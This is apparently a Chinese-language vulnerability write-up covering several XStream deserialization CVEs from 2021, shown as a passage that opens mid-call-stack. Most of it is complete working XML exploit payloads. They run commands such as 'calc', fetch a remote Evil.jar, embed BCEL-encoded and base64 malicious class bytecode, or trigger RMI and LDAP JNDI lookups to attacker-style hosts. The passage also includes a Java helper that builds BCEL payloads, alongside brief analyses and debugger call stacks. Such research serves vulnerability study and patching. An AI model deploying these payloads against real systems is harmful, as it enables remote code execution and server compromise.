unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1409, XStream (com.thoughtworks.xstream)
unmarshal:1388, XStream (com.thoughtworks.xstream)
fromXML:1273, XStream (com.thoughtworks.xstream)
fromXML:1264, XStream (com.thoughtworks.xstream)
main:111, LDAPRCE (pers.xstream)
CVE-2021-21345
影响版本
<=1.4.15
版本说明
和上一个CVE一样
poc
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>calc</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
分析
这条链子和之前的相比来说,前面部分都是差不多的,只是他没有使用JdbcRowSetImpl
链,使用的是com.sun.corba.se.impl.activation.ServerTableEntry
类中的verify
方法配合属性activationCmd
直接执行命令
在com.sun.corba.se.impl.activation.ServerTableEntry#verify
打下断点
根据前面CVE分析的铺垫,将会在com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection#get
方法中,进行反射调用,成功进入到了verify
方法中
而在POC中对其中的属性值也进行了定义
最后理所应当得执行了命令
调用栈
verify:174, ServerTableEntry (com.sun.corba.se.impl.activation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1409, XStream (com.thoughtworks.xstream)
unmarshal:1388, XStream (com.thoughtworks.xstream)
fromXML:1273, XStream (com.thoughtworks.xstream)
fromXML:1264, XStream (com.thoughtworks.xstream)
main:67, XStreamRCE (pers.xstream)
CVE-2021-21347
影响版本
<= 1.4.15
poc
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
<names class='java.util.AbstractList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount>
<outer-class class='java.util.Arrays$ArrayList'>
<a class='string-array'>
<string>Evil</string>
</a>
</outer-class>
</names>
<processorCL class='java.net.URLClassLoader'>
<ucp class='sun.misc.URLClassPath'>
<urls serialization='custom'>
<unserializable-parents/>
<vector>
<default>
<capacityIncrement>0</capacityIncrement>
<elementCount>1</elementCount>
<elementData>
<url>http://127.0.0.1:80/Evil.jar</url>
</elementData>
</default>
</vector>
</urls>
<path>
<url>http://127.0.0.1:80/Evil.jar</url>
</path>
<loaders/>
<lmap/>
</ucp>
<package2certs class='concurrent-hash-map'/>
<classes/>
<defaultDomain>
<classloader class='java.net.URLClassLoader' reference='../..'/>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key>
<outer-class reference='../..'/>
</key>
</defaultDomain>
<initialized>true</initialized>
<pdcache/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>-2147483648</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
分析
这里主要是通过JavacProcessingEnvironment#hasNext
方法中存在有processorCL
属性存在调用loadClass
方法,且参数可控
CVE-2021-21350
影响版本
<= 1.4.15
poc
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
<names class='java.util.AbstractList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount>
<outer-class class='java.util.Arrays$ArrayList'>
<a class='string-array'>
<string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c20$Y$3d$85$c9$60$O$e5G$fcW$f0J0Qn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q$b1MwrN$cf$f9$be$b6$fb$fcz$ff$Ap$8a$aa$83$MJ$O$caX$cb$a2bp$dd$c6$86$8dM$86$cc$99$M$a5$3egH$d7$h$3d$G$ebR$3d$K$86UO$86$e2$s$Z$f5Et$cf$fb$B$v$rO$f9$3c$e8$f1H$g$fe$xZ$faI$c6T$c3kOd$d0bp$daS_$8c$b5Talc$8bxW$r$91$_$ae$a41$e7$8c$e9d$c8$t$dc$85$8d$ac$8dm$X$3b$d8$a5$d2j$y$c2$da1$afQ$D$3f$J$b8V$91$8b$3d$ecS$7d$Ta$u$98P3$e0$e1$a0$d9$e9$P$85$af$Z$ca3I$aa$e6ug$de$93$a1$f8g$bcKB$zG$d4$d6$Z$I$3d$t$95z$c3$fb$e7$a1$83$5bb$w$7c$86$c3$fa$c2nWG2$i$b4$W$D$b7$91$f2E$i$b7p$80$rzQ3$YM$ba$NR$c8$R$bb$md$84$xG$af$60oH$95$d2$_$b0$k$9eII$c11$3a$d2$f4$cd$c2$ow$9e$94eb$eeO$820$3fC$d0$$$fd$BZ$85Y$ae$f8$N$93$85$cf$5c$c7$B$A$A</string>
</a>
</outer-class>
</names>
<processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
<parent class='sun.misc.Launcher$ExtClassLoader'>
</parent>
<package2certs class='hashtable'/>
<classes defined-in='java.lang.ClassLoader'/>
<defaultDomain>
<classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key>
<outer-class reference='../..'/>
</key>
</defaultDomain>
<packages/>
<nativeLibraries/>
<assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
<defaultAssertionStatus>false</defaultAssertionStatus>
<classes/>
<ignored__packages>
<string>java.</string>
<string>javax.</string>
<string>sun.</string>
</ignored__packages>
<repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
<__path>
<paths/>
<class__path>.</class__path>
</__path>
<__loadedClasses/>
</repository>
<deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
分析
这个CVE没有使用上一个URLClassLoader进行加载,改用bcel
的classLoader进行加载,之前在fastjson的内网利用链已经分析了
放一个生成bcel的
//TransBcel
package pers.classLoad;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;
public class TransBcel {
public static void main(String[] args) throws IOException, InstantiationException, IllegalAccessException, ClassNotFoundException {
JavaClass javaClass = Repository.lookupClass(EvilOfBcel.class); //转化成原生字节码,javac命令也可以达到目的
String code = Utility.encode(javaClass.getBytes(), true); //将字节码转化为BCEL格式的字节码
System.out.println(code);
//生成的code还需要加上$$BCEL$$,因为com.sun.org.apache.bcel.internal.util.ClassLoader中会判断类名是否的他开头
//执行恶意类
Class c = (Class) new ClassLoader().loadClass("$$BCEL$$" + code);
c.newInstance();
}
}
CVE-2021-29505
影响版本
<= 1.4.6
版本修复
添加了关于rmi的过滤
poc
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>192.168.2.149</string>
<int>9999</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>192.168.2.149<</host>
<port>9999</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
分析
这个cve主要是通过java.util.PriorityQueue
+ javax.naming.ldap.Rdn_-RdnEntry
结合使用配合com.sun.jndi.rmi.registry.BindingEnumeration
类进行rmi远程Stub的加载,达到加载jndi注入
影响 1.4.17版本
修复
直接在这之后默认使用白名单
CVE-2021-39139
poc
<linked-hash-set>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNDE2NTkyOTE1MTgwNjAwAQAgTHlzb3NlcmlhbC9Qd25lcjQxNjU5MjkxNTE4MDYwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<dynamic-proxy>
<interface>javax.xml.transform.Templates</interface>
<handler class='sun.reflect.annotation.AnnotationInvocationHandler' serialization='custom'>
<sun.reflect.annotation.AnnotationInvocationHandler>
<default>
<memberValues>
<entry>
<string>f5a5a608</string>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference='../../../../../../../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'/>
</entry>
</memberValues>
<type>javax.xml.transform.Templates</type>
</default>
</sun.reflect.annotation.AnnotationInvocationHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
分析
这里主要是借鉴了cc链中的思路,根据com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
配合sun.reflect.annotation.AnnotationInvocationHandler
触发连用链,当然,我们也知道,sun.reflect.annotation.AnnotationInvocationHandler
在高版本中不存在了
CVE-2021-39144
poc
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Comparable</providerType>
<probes>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='java.lang.Runtime'/>
<implementing__method>
<class>java.lang.Runtime</class>
<name>exec</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</handler>
</dynamic-proxy>
<string>calc</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
分析
这个poc的风格和最开始的cve感觉尤其的相似,同样使用了dynamic-proxy
标签,选用了sun.tracing.NullProvider
作为handler进行动态代理,通过反射获取了java.lang.Runtime
类和exec
方法,且传入参数类型进行了定义java.lang.String
calc
CVE-2021-39146
poc
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>test</type>
<value class='javax.swing.MultiUIDefaults' serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>0</int>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale>zh_CN</defaultLocale>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults>
<default>
<tables>
<javax.swing.UIDefaults serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>1</int>
<string>lazyValue</string>
<javax.swing.UIDefaults_-ProxyLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<args>
<string>ldap://127.0.0.1:9999/#evil</string>
</args>
</javax.swing.UIDefaults_-ProxyLazyValue>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
</javax.swing.UIDefaults>
</tables>
</default>
</javax.swing.MultiUIDefaults>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>test</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
分析
这里主要是通过javax.swing.UIDefaults_-ProxyLazyValue
这个内部类中存在有反射调用任意类的方法的逻辑
参考
XStream - Change History (x-stream.github.io)